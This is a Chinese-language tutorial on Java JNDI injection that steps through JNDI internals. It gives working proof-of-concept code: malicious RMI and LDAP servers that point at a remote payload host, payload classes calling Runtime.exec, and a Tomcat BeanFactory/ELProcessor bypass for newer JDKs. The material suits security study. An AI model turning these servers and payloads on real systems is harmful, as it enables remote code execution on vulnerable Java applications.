目录

Java JNDI 注入

jndi 全称 Java Naming Directory Interface,Java 命名和目录接口,是 SUN 公司提供的一种标准的 Java 命名系统接口。通过调用 JNDI 的 API 应用程序可以定位资源和其他程序对象。JNDI 可访问的现有目录及服务包括:JDBC(Java 数据库连接)、LDAP(轻型目录访问协议,ldap://)、RMI(远程方法调用,rmi://)、DNS(域名服务,dns://)、NIS(网络信息服务,一般 UNIX 使用,nis://)、CORBA(公共对象请求代理系统结构,iiop://)


命名服务(Naming Server)

命名服务,简单来说,就是一种通过名称来查找实际对象的服务。比如 RMI 协议,可以通过名称来查找并调用具体的远程对象。又或者 DNS 协议,通过域名来查找具体的 IP 地址。这些都可以叫做命名服务。

在命名服务中,有几个重要的概念。

  • Bindings:表示一个名称和对应对象的绑定关系,比如在在 DNS 中域名绑定到对应的 IP,在 RMI 中远程对象绑定到对应的 name,文件系统中文件名绑定到对应的文件。
  • Context:上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文 (SubContext)。
  • References:在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C/C++ 中的指针。引用中包含了获取实际对象所需的信息,甚至对象的实际状态。比如文件系统中实际根据名称打开的文件是一个整数 fd (file descriptor),这就是一个引用,内核根据这个引用值去找到磁盘中的对应位置和读写偏移。

简单的 JNDI 示例

JNDI 接口主要分为下述 5 个包:

  • javax.naming:主要用于命名操作,它包含了命名服务的类和接口,该包定义了Context接口和InitialContext类,(包括了 javax.naming.Contextjavax.naming.InitialContext,分别是用于设置 jndi 环境变量和初始化上下文。)
  • javax.naming.directory:主要用于目录操作,它定义了 DirContext 接口和 InitialDir-Context 类
  • javax.naming.event:在命名目录服务器中请求事件通知
  • javax.naming.ldap:提供 LDAP 服务支持
  • javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过 JNDI 可以访问相关服务

其中最重要的是 javax.naming 包,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。

下面我们通过具体代码来看看 JNDI 是如何实现与各服务进行交互的。

JNDI_RMI

首先在本地起一个 RMI 服务

定义一个 hello.java 接口

package org.example;  
  
import java.rmi.Remote;  
import java.rmi.RemoteException;  
  
public interface hello extends Remote {  
    public Object nihao() throws RemoteException,Exception;  
  
}

然后创建 RMIobj.java,(这里直接把注册中心和服务端写在一起了)

package org.example;  
  
import java.rmi.RemoteException;  
import java.rmi.server.UnicastRemoteObject;  
import java.rmi.Naming;  
import java.rmi.registry.LocateRegistry;  
  
public class RMIobj extends UnicastRemoteObject implements hello {  
  
    protected RMIobj() throws RemoteException {  
        super();  
    }  
  
    public void nihao() throws RemoteException, Exception {  
                System.out.println("hello word");  
    }  
    private void registry() throws Exception{  
        hello rmiobj=new RMIobj();  
        LocateRegistry.createRegistry(1099);  
        System.out.println("Server Start");  
        Naming.bind("Hello", rmiobj);  
    }  
    public static void main(String[] args) throws Exception {  
        new RMIobj().registry();  
    }  
}

然后通过 JNDI 接口调用远程类,JNDI_RMI

package org.example;  
  
import javax.naming.Context;  
import javax.naming.InitialContext;  
import java.util.Hashtable;  
  
public class JNDI_RMI {  
    public static void main(String[] args) throws Exception {  
  
        //设置JNDI环境变量  
        Hashtable<String, String> env = new Hashtable<>();  
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.rmi.registry.RegistryContextFactory");  
        //可以不用设置,下面会说,会根据服务协议自行选择
        env.put(Context.PROVIDER_URL, "rmi://localhost:1099");  
  
        //初始化上下文  
        Context initialContext = new InitialContext(env);  
  
        //调用远程类  
        hello ihello = (hello) initialContext.lookup("Hello");  
        System.out.println(ihello.nihao());  
  
    }  
}

成功调用, https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240902182251998.png

JNDI_DNS

以 JDK 内置的 DNS 目录服务为例

JNDI_DNS.java

import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.directory.Attributes;
import javax.naming.directory.DirContext;
import javax.naming.directory.InitialDirContext;
import java.util.Hashtable;
 
public class JNDI_DNS {
    public static void main(String[] args) {
        Hashtable<String,String> env = new Hashtable<>();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.dns.DnsContextFactory");
        env.put(Context.PROVIDER_URL, "dns://192.168.43.1");
 
        try {
            DirContext initialContext = new InitialDirContext(env);
            Attributes res = initialContext.getAttributes("goodapple.top", new String[] {"A"});
            System.out.println(res);
        } catch (NamingException e) {
            e.printStackTrace();
        }
 
    }
}

~~我反正没有域名,没有尝试过。


JNDI 的 Context

通过 JNDI 成功地调用了 RMI 和 DNS 服务。那么对于 JNDI 来讲,它是如何识别我们调用的是何种服务呢?这就依赖于我们上面提到的 Context(上下文)了。

初始化 Context

//设置JNDI环境变量
Hashtable<String, String> env = new Hashtable<>();
env.put(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
env.put(Context.PROVIDER_URL, "rmi://localhost:1099");

//初始化上下文
Context initialContext = new InitialContext(env);

使用 hashtable 来设置属性 INITIAL_CONTEXT_FACTORYPROVIDER_URL,其中 JNDI 正式通过 INITIAL_CONTEXT_FACTORY 属性来识别调用的是何种服务,像这里就是 com.sun.jndi.rmi.registry.RegistryContextFactory

接着属性 PROVIDER_URL 设置为了 "rmi://localhost:1099",这正是我们 RMI 服务的地址。JNDI 通过该属性来获取服务的路径,进而调用该服务。

最后向 InitialContext 类传入我们设置的属性值来初始化一个 Context,于是我们就获得了一个与RMI服务相关联的上下文 Context

当然,初始化Context的方法多种多样,我们来看一下 InitialContext 类的构造函数

//构建一个默认的初始上下文
public InitialContext();
 
//构造一个初始上下文,并选择不初始化它。
protected InitialContext(boolean lazy);
 
//使用提供的环境变量初始化上下文。
public InitialContext(Hashtable<?,?> environment);

所以我们还可以用如下方式来初始化一个 Context

//设置JNDI环境变量
System.setProperty(Context.INITIAL_CONTEXT_FACTORY,"com.sun.jndi.rmi.registry.RegistryContextFactory");
System.setProperty(Context.PROVIDER_URL,"rmi://localhost:1099");
 
//初始化上下文
InitialContext initialContext = new InitialContext();

通过 Context 与服务交互

和RMI类似,Context 同样通过以下五种方法来与被调用的服务进行交互

//将名称绑定到对象
bind(Name name, Object obj)
 
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名
list(String name) 
 
//检索命名对象
lookup(String name)
 
//将名称重绑定到对象 
rebind(String name, Object obj) 
 
//取消绑定命名对象
unbind(String name) 

JNDI 底层实现

获取工厂类

我们通过 JNDI 来设置不同的上下文,就可以调用不同的服务。那么 JNDI 接口是如何实现这一功能的呢?

InitalContext#InitalContext() 中,通过我们传入的 HashTable 进行 init

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240905182812674.png

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240905182933305.png

继续跟进

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240905183013500.png

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240905183028855.png

跟到了 getInitialEnvironment 方法,继续跟进,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240905191033182.png

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240905191054189.png

一路跟进到达 getInitialContext 方法。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240905191536367.png

这里首先通过 getInitialContextFactoryBuilder() 初始化了一个 InitialContextFactoryBuilder 类。

如果该类为空,则将 className 设置为 _INITIAL_CONTEXT_FACTORY_ 属性。这个属性就是我们手动设置的RMI上下文工厂类 com.sun.jndi.rmi.registry.RegistryContextFactory

继续向下

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240905192051468.png

这里通过 loadClass() 来动态加载我们设置的工厂类。然后提前学过 jndi 的知道后面会调用到工厂类的 getInitialContext() 方法也就是 RegistryContextFactory#getInitialContext() 方法,通过我们的设置工厂类来初始化上下文 Context。

现在我们知道了,JNDI是通过我们设置的 _INITIAL_CONTEXT_FACTORY_ 工厂类来判断将上下文初始化为何种类型,进而调用该类型上下文所对应的服务。

获取服务交互所需资源

现在JNDI知道了我们想要调用何种服务,那么它又是如何知道服务地址以及获取服务的各种资源的呢?我们接着上文,跟到 RegistryContextFactory#getInitialContext()

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240905193006702.png

这里的 var1 就是我们设置的两个环境变量,跟进 getInitCtxURL()

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240905195737144.png

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240905195929278.png

JNDI通过我们设置的 _PROVIDER_URL_ 环境变量来获取服务的路径,接着在 URLToContext() 方法中初始化了一个 rmiURLContextFactory 类,并根据服务路径来获取实例。

跟到 rmiURLContextFactory#getUsingURL()

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240905200105605.png

看到调用了 lookup() 方法。其实一直跟踪就知道调用的是 RegistryContext#lookup() ,根据上述过程中获取的信息初始化了一个新的 RegistryContext

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240905200653192.png

可见,在最终初始化的时候获取了一系列RMI通信过程中所需的资源,包括 RegistryImpl_Stub 类、pathport 等信息。如下图

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240905200838275.png

JNDI 在初始化上下文的时候获取了与服务交互所需的各种资源,所以下一步就是通过获取的资源和服务愉快地进行交互了。

各种调用链如下

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240905203639442.png


JNDI 动态协议转换*(看这个就行了)

其实除了上面那种写法,大部分是是如下 poc,那这种是怎么识别不同协议的工厂类的呢?下面简单分析一下。

import javax.naming.InitialContext;
 
public class JNDI_Dynamic {
public static void main(String[]args) throws Exception{
            String string = "rmi://localhost:1099/hello";
            InitialContext initialContext = new InitialContext();
            IHello ihello = (IHello) initialContext.lookup(string);
            System.out.println(ihello.sayHello("Feng"));
        }
}

首先从 lookup() 开始跟进,注意到其实我们不管调用的是lookup、bind或者是其他 initalContext 中的方法,都会调用 getURLOrDefaultInitCtx() 方法进行检查。

跟进 getURLOrDefaultInitCtx() 方法,会通过 getURLScheme() 方法来获取通信协议,比如这里获取到的是 rmi 协议,然后跟据获取到的协议,通过 NamingManager#getURLContext() 来调用 getURLObject() 方法

getURLObject 的时候会根据传入进来的 url 去寻找对应的工厂,比如这里的 rmi,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250331214152979.png

其实就是把 schema 和我们的 URLContextFactory 去拼接得到它的工厂,根据不同的工厂类对应着不同的 getObjectInstance 方法,并调用该方法

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250331214246275.png

然后在 rmiURLContextFactory.getObjectInstance 中会返回个 rmiURLContext 对象,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250331214552189.png

一直回到 InitialContext.lookup 方法中,那么会调用 rmiURLContext.lookup 方法

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250331214749668.png

但是 rmiURLContext 没有 lookup 方法,所以调用其父类 GenericURLContext (com.sun.jndi.toolkit.url) 的 lookup 方法,继续调用 RegistryResult.lookup 方法,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250331215106594.png

看到 return new RegistryContext(this); 其实就是上面自己设置属性进行上下文初始化最后的部分吗,继续会跟进到 decodeObject 方法

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250331215210884.png

前面的不用管,直接看最后部分,如果符号这三个 if 条件就会抛出异常,而 jdk 高版本中默认 trustURLCodebase 为 false,然后如果 ref 是个远程类的话 ref.getFactoryClassLocation() 返回值就不为空了,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250331215359798.png

简单跟进看看

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250331221311082.png

这个值是在 rmi 服务端设置的,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250331221338130.png

三个条件都满足最后就会抛出异常,

这里假设 trustURLCodebase 为 true ,继续跟进 NamingManaget.getObjectInstance 方法,调用了 getObjectFactoryFromReference(ref, f);

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250331215716064.png

getObjectFactoryFromReference(ref, f); 中会进行远程类加载,然后进行实列化触发 rce,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250331222042498.png

如果是后续的本地工厂类绕过会在 helper.loadClassWithoutInit(factoryName); 就获得 clas,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250331222125920.png

后面 clas 不为空也就不会进行远程加载而是直接返回 factory ,然后调用该 factory 的 getObjectInstance 方法,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250331222249098.png

LDAP 的其实也差不多,只是中间过程肯定不是去调用 RegistryContextlookup 方法,它从 lookup 会调用其他的 lookup 方法,但是最后一直跟进也会到达 DirectoryManager#getObjectInstance 方法,最后进行实列化。


JNDI Reference 类

Reference 类表示对存在于命名/目录系统以外的对象的引用。比如远程获取 RMI 服务上的对象是 Reference 类或者其子类,则在客户端获取到远程对象存根实例时,可以从其他服务器上加载 class 文件来进行实例化。

当在本地找不到所调用的类时,我们可以通过 Reference 类来调用位于远程服务器的类。

Reference 类常用构造函数如下:

//className为远程加载时所使用的类名,如果本地找不到这个类名,就去远程加载
//factory为工厂类名
//factoryLocation为工厂类加载的地址,可以是file://、ftp://、http:// 等协议
Reference(String className,  String factory, String factoryLocation) 

在RMI中,由于我们远程加载的对象需要继承 UnicastRemoteObject 类,所以这里我们需要使用 ReferenceWrapper 类对 Reference 类或其子类对象进行远程包装成 Remote 类使其能够被远程访问。


JNDI 注入

通过以上实例可以清晰的看到看到,如果 lookup()函数的访问地址参数控制不当,则有可能导致加载远程恶意类

JNDI 接口可以调用多个含有远程功能的服务,所以我们的攻击方式也多种多样。但流程大同小异,如下图所示

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240905213213846.png

JNDI 注入对 JAVA 版本有相应的限制,具体可利用版本如下:

协议 JDK6 JDK7 JDK8 JDK11
LADP 6u211 以下 7u201 以下 8u191 以下 11.0.1 以下
RMI 6u132 以下 7u122 以下 8u113 以下

JNDI+RMI

在攻击RMI服务的时候我们提到过通过远程加载Codebase的方式来加载恶意的远程类到服务器上。和Codebase类似,我们也可以使用Reference类来从远程加载恶意类。JDK版本为 JDK8u_65,攻击代码如下

RMI_Server.java

package org.example;  
  
import com.sun.jndi.rmi.registry.ReferenceWrapper;  
import javax.naming.Reference;  
import java.rmi.Naming;  
import java.rmi.registry.LocateRegistry;  
  
public class RMI_Server {  
    void register() throws Exception{  
        LocateRegistry.createRegistry(1099);  
        Reference reference = new Reference("RMI_POC","RMI_POC","http://106.53.212.184:6666/");  
        ReferenceWrapper refObjWrapper = new ReferenceWrapper(reference);  
        Naming.bind("hello",refObjWrapper);  
        System.out.println("START RUN");  
    }  
  
    public static void main(String[] args) throws Exception {  
        new RMI_Server().register();  
    }  
}

其中 RMIHello 为我们要远程访问的类,如下

RMI_POC

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.io.IOException;
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;
import java.util.Hashtable;
 
public class RMIHello extends UnicastRemoteObject implements ObjectFactory {
    public RMIHello() throws RemoteException {
        super();
        try {
            Runtime.getRuntime().exec("calc");
        } catch (IOException e) {
            e.printStackTrace();
        }
    }
    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {
        return null;
    }
 
}

注意,RMIHello 类需要继承 ObjectFactory 类,并且构造函数需要为 public

受害客户端如下,我们将 lookup() 参数控制位我们恶意 RMI 服务的地址

RMI_CN.java

package org.example;  
  
import javax.naming.InitialContext;  
public class RMI_CN {  
    public static void main(String[]args) throws Exception{  
        String string = "rmi://localhost:1099/hello";  
        InitialContext initialContext = new InitialContext();  
        initialContext.lookup(string);  
    }  
}

我们搭建好恶意的 RMI 服务器,并且在远端服务器上放置恶意类。客户端成功调用并初始化我们远端的恶意

启动服务

1、将 HTTP 端恶意载荷 RMI_POC.java,编译成 RMI_POC.class 文件,或者直接使用 idea 编译。

javac RMI_POC.java

2、在 RMI_POC.class 目录下利用 Python 起一个临时的 WEB 服务放置恶意载荷,这里的端口必须要与 RMI_Server.java 的 Reference 里面的链接端口一致

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240905225734597.png

启动服务端

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240905230008966.png

启动客户端加载恶意类

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240905230039065.png

看到成功弹出计算机。

关于这里 lookup 触发到底层的调用原理参考:https://drun1baby.top/2022/07/28/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BJNDI%E5%AD%A6%E4%B9%A0/#RMI-%E5%8E%9F%E7%94%9F%E6%BC%8F%E6%B4%9E

这里调用到底层主要是通过 URLClassLoader 的动态类加载,但是其实这里也是存在反序列化漏洞的,因为底层调用了 RegistryContext.lookup() 方法,而这个 RegistryContext 类是 RMI 中,如果 RMI 存在反序列化,那么 JNDI 这里也会有,只是这不是真正意义上的 jndi 注入属于是 rmi 的反序列化漏洞了,一般情况下都是通过 URLClassLoader 来动态加载恶意类。

然后至于这个是怎么从 lookup 到达 URLClassLoader 动态加载类以及为什么要是 reference 对象和 factory 的作用建议还是看看上面这篇文章。

JNDI+LDAP

LDAP 既是一类服务,也是一种协议,LDAP 目录和 RMI 注册表的区别在于是前者是目录服务,并允许分配存储对象的属性。

LDAP Directory 作为一种目录服务,主要用于带有条件限制的对象查询和搜索。目录服务作为一种特殊的数据库,用来保存描述性的、基于属性的详细信息。和传统数据库相比,最大的不同在于目录服务中数据的组织方式,它是一种有层次的树形结构,因此它有优异的读性能,但写性能较差,并且没有事务处理、回滚等复杂功能,不适于存储修改频繁的数据。

LDAP 的请求和响应是 ASN.1 格式,使用二进制的 BER 编码,操作类型(Operation)包括 Bind/Unbind、Search、Modify、Add、Delete、Compare 等等,除了这些常规的增删改查操作,同时也包含一些拓展的操作类型和异步通知事件。

更加具体参考:java LDAP

我们可以使用 LDAP 服务来存储 Java 对象,如果我们此时能够控制 JNDI 去访问存储在 LDAP 中的 Java 恶意对象,那么就有可能达到攻击的目的。LDAP 能够存储的 Java 对象如下

  • Java 序列化
  • JNDI 的 References
  • Marshalled 对象
  • Remote Location

首先下载 LDAP依赖

<dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>3.1.1</version>
    <scope>test</scope>
</dependency>

LDAP_Server.java

package org.example;  
  
  
import com.unboundid.ldap.listener.InMemoryDirectoryServer;  
import com.unboundid.ldap.listener.InMemoryDirectoryServerConfig;  
import com.unboundid.ldap.listener.InMemoryListenerConfig;  
import com.unboundid.ldap.listener.interceptor.InMemoryInterceptedSearchResult;  
import com.unboundid.ldap.listener.interceptor.InMemoryOperationInterceptor;  
import com.unboundid.ldap.sdk.Entry;  
import com.unboundid.ldap.sdk.LDAPException;  
import com.unboundid.ldap.sdk.LDAPResult;  
import com.unboundid.ldap.sdk.ResultCode;  
import javax.net.ServerSocketFactory;  
import javax.net.SocketFactory;  
import javax.net.ssl.SSLSocketFactory;  
import java.net.InetAddress;  
import java.net.MalformedURLException;  
import java.net.URL;  
  
public class LDAP_Server {  
  
    private static final String LDAP_BASE = "dc=gaoren,dc=com";  
  
    public static void main ( String[] tmp_args ) {  
        String[] args=new String[]{"http://106.53.212.184:6666/#LDAP_POC"};  
        int port = 9999;  
  
        try {  
            InMemoryDirectoryServerConfig config = new InMemoryDirectoryServerConfig(LDAP_BASE);  
            config.setListenerConfigs(new InMemoryListenerConfig(  
                    "listen", //$NON-NLS-1$  
                    InetAddress.getByName("0.0.0.0"), //$NON-NLS-1$  
                    port,  
                    ServerSocketFactory.getDefault(),  
                    SocketFactory.getDefault(),  
                    (SSLSocketFactory) SSLSocketFactory.getDefault()));  
  
            config.addInMemoryOperationInterceptor(new OperationInterceptor(new URL(args[ 0 ])));  
            InMemoryDirectoryServer ds = new InMemoryDirectoryServer(config);  
            System.out.println("Listening on 0.0.0.0:" + port); //$NON-NLS-1$  
            ds.startListening();  
  
        }  
        catch ( Exception e ) {  
            e.printStackTrace();  
        }  
    }  
  
    private static class OperationInterceptor extends InMemoryOperationInterceptor {  
  
        private URL codebase;  
  
        public OperationInterceptor ( URL cb ) {  
            this.codebase = cb;  
        }  
  
        @Override  
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {  
            String base = result.getRequest().getBaseDN();  
            Entry e = new Entry(base);  
            try {  
                sendResult(result, base, e);  
            }  
            catch ( Exception e1 ) {  
                e1.printStackTrace();  
            }  
        }  
  
        protected void sendResult ( InMemoryInterceptedSearchResult result, String base, Entry e ) throws LDAPException, MalformedURLException {  
            URL turl = new URL(this.codebase, this.codebase.getRef().replace('.', '/').concat(".class"));  
            System.out.println("Send LDAP reference result for " + base + " redirecting to " + turl);  
            e.addAttribute("javaClassName", "foo");  
            String cbstring = this.codebase.toString();  
            int refPos = cbstring.indexOf('#');  
            if ( refPos > 0 ) {  
                cbstring = cbstring.substring(0, refPos);  
            }  
            e.addAttribute("javaCodeBase", cbstring);  
            e.addAttribute("objectClass", "javaNamingReference"); //$NON-NLS-1$  
            e.addAttribute("javaFactory", this.codebase.getRef());  
            result.sendSearchEntry(e);  
            result.setResult(new LDAPResult(0, ResultCode.SUCCESS));  
        }  
    }  
}

LDAP_POC.java

import javax.naming.Context;  
import javax.naming.Name;  
import javax.naming.spi.ObjectFactory;  
import java.io.IOException;  
import java.util.Hashtable;  
  
public class LDAP_POC implements ObjectFactory {  
    public LDAP_POC() throws Exception{  
        try {  
            Runtime.getRuntime().exec("calc");  
        } catch (IOException e) {  
            e.printStackTrace();  
        }  
    }  
  
    @Override  
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) throws Exception {  
        return null;  
    }  
}

LDAP_CN.java

package org.example;  
  
import javax.naming.InitialContext;  
  
public class LDAP_CN {  
    public static void main(String[]args) throws Exception{  
        String string = "ldap://localhost:9999/LDAP_POC";  
        InitialContext initialContext = new InitialContext();  
        initialContext.lookup(string);  
    }  
}

步骤和上面是一样的,最后运行也是成功弹出计算机

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/image-20240906110902946.png

  • 这个攻击就还是我们之前说的 Reference

注意一点就是,LDAP+Reference的技巧远程加载Factory类不受RMI+Reference中的com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase等属性的限制,所以适用范围更广。

JNDI+CORBA

一个简单的流程是:resolve_str 最终会调用到 StubFactoryFactoryStaticImpl.createStubFactory 去加载远程 class 并调用 newInstance 创建对象,其内部使用的 ClassLoader 是 RMIClassLoader,在反序列化 stub 的上下文中,默认不允许访问远程文件,因此这种方法在实际场景中比较少用。所以就不深入研究了。


JDK 高版本限制

在我们利用Codebase攻击RMI服务的时候,如果想要根据Codebase加载位于远端服务器的类时,java.rmi.server.useCodebaseOnly 的值必须为 false。但是从 JDK 6u457u21 开始,java.rmi.server.useCodebaseOnly 的默认值就是 true

JNDI_RMI_Reference 限制

RMI 在 JDK 6u132JDK 7u122JDK 8u113 之后限制了远程加载 Reference 工厂类。com.sun.jndi.rmi.object.trustURLCodebasecom.sun.jndi.cosnaming.object.trustURLCodebase 的默认值变为了 false,即默认不允许通过RMI从远程的 Codebase 加载 Reference 工厂类。

JNDI_LDAP_Reference 限制

JNDI不仅可以从通过RMI加载远程的 Reference 工厂类,也可以通过 LDAP 协议加载远程的 Reference 工厂类,但是在之后的版本 Java 也对 LDAP Reference 远程加载 Factory 类进行了限制,在 JDK 11.0.18u1917u2016u211 之后 com.sun.jndi.ldap.object.trustURLCodebase 属性的默认值同样被修改为了 false,对应的CVE编号为:CVE-2018-3149

限制源码分析

JDK_8u65

在低版本JDK_8u65下,在 RegistryContext#decodeObject() 方法会直接调用到 NamingManager#getObjectInstance(),进而调用 getObjectFactoryFromReference() 方法来获取远程工厂类。

JDK_8u241

同样是在 RegistryContext#decodeObject() 方法,这里增加了对类型以及 trustURLCodebase 的检查,所以也就没法加载远程的 refrence 工厂类了。


绕过高版本限制

使用本地的 Reference Factory 类

8u191后已经默认不允许加载 codebase 中的远程类,但我们可以从本地加载合适 Reference Factory。上面看到是三个 if 条件那里,如果是本地类那么 rmiserver 一般是下面这种,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250331221453472.png

执行 ref.getFactoryClassLocation() 就为空了,就可以执行到 NamingManager.getObjectInstance 方法了。

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250331221744791.png

该本地工厂类必须实现 javax.naming.spi.ObjectFactory 接口,因为在 NamingManager#getObjectFactoryFromReference 最后的 return 语句对 Factory 类的实例对象进行了强制类型转换将其转换为了 ObjectFactory 类型,并且该工厂类至少存在一个 getObjectInstance() 方法,下面接着看。

org.apache.naming.factory.BeanFactory 就是满足条件的类之一,并由于该类存在于 Tomcat8 依赖包中,攻击面和成功率还是比较高的。

构造服务端:

import com.sun.jndi.rmi.registry.ReferenceWrapper;  
import org.apache.naming.ResourceRef;  
  
import javax.naming.StringRefAddr;  
import java.rmi.registry.LocateRegistry;  
import java.rmi.registry.Registry;  
  
  
public class JNDIBypassHighJava {  
    public static void main(String[] args) throws Exception {  
        System.out.println("[*]Evil RMI Server is Listening on port: 1099");  
        Registry registry = LocateRegistry.createRegistry( 1099);  
        ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor",null,"","",  
                true,"org.apache.naming.factory.BeanFactory",null );  
        resourceRef.add(new StringRefAddr("forceString", "x=eval"));  
        resourceRef.add(new StringRefAddr("x", "\"\".getClass().forName(\"java.lang.Runtime\").getMethod(\"exec\",\"\".getClass()).invoke(\"\".getClass().forName(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null),\"calc.exe\")"));  
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);  
        registry.bind("Object", referenceWrapper);  
    }  
}

或者

import com.sun.jndi.rmi.registry.ReferenceWrapper;  
import org.apache.naming.ResourceRef;  
  
import javax.naming.StringRefAddr;  
import java.rmi.registry.LocateRegistry;  
import java.rmi.registry.Registry;  
  

public class JNDIBypassHighJava {  
    public static void main(String[] args) throws Exception {  
        System.out.println("[*]Evil RMI Server is Listening on port: 1099");  
 Registry registry = LocateRegistry.createRegistry( 1099);  
 ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor",null,"","",  
 true,"org.apache.naming.factory.BeanFactory",null );   
 resourceRef.add(new StringRefAddr("forceString", "x=eval"));  
 resourceRef.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\")" +  
                ".newInstance().getEngineByName(\"JavaScript\")" +  
                ".eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['calc']).start()\")"));  
 ReferenceWrapper referenceWrapper = new ReferenceWrapper(resourceRef);  
 registry.bind("Object", referenceWrapper);  
 }  
}

客户端:

import javax.naming.Context;  
import javax.naming.InitialContext;  
  
public class jndipass {  
    public static void main(String[] args) throws Exception {  
        String uri = "rmi://localhost:1099/Object";  
 Context context = new InitialContext();  
 context.lookup(uri);  
 }  
}

运行结果

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250228154424889.png

具体绕过原理可以参考:https://drun1baby.top/2022/07/28/Java反序列化之JNDI学习/#0x03-绕过高版本-jdk-的攻击

这里就简单说一下过程,还是 lookup 一直到 RegistryContext 类,然后接着是 decodeObject() 方法的调用,在该方法中有继续调用 getObjectInstance 方法,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250228154802483.png

进入该方法,同样一路调用到 getObjectFactoryFromReference,由于是本地 factory 类,所以直接就能加载

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250228155027765.png

看到这里 clas 不为空不会那么就不会进行远程加载了。并且看到最后强制类型转换为 ObjectFactory 类,这也是为什么要继承 javax.naming.spi.ObjectFactory 接口,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250228155421682.png

回到 getObjectInstance 方法继续看,接下来调用了 BeanFactory.getObjectInstance() 方法,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250228155219275.png

跟进,先判断 obj 是不是 ResourceRef 类实列 (这就是为什么我们在恶意 RMI 服务端中构造 Reference 类实例的时候必须要用 Reference 类的子类 ResourceRef 类来创建实例),接着就是一大堆赋值的东西了,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250228155618831.png

先调用 tcl.loadClass(beanClassName);beanClassjavax.el.ELProcessor 对象,实例化该类并获取其中的 forceString 类型的内容,也就是 x=eval 内容,

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250228160002774.png

继续往下调试可以看到,查找 forceString 的内容中是否存在”=”号,不存在的话就调用属性的默认 setter 方法,存在的话就取键值、其中键是属性名而对应的值是其指定的 setter 方法。如此,之前设置的 forceString 的值就可以强制将 x 属性的 setter 方法转换为调用我们指定的 ELProcessor.eval() 方法了

https://gaorenyusi.oss-cn-chengdu.aliyuncs.com/img/file-20250228160030179.png

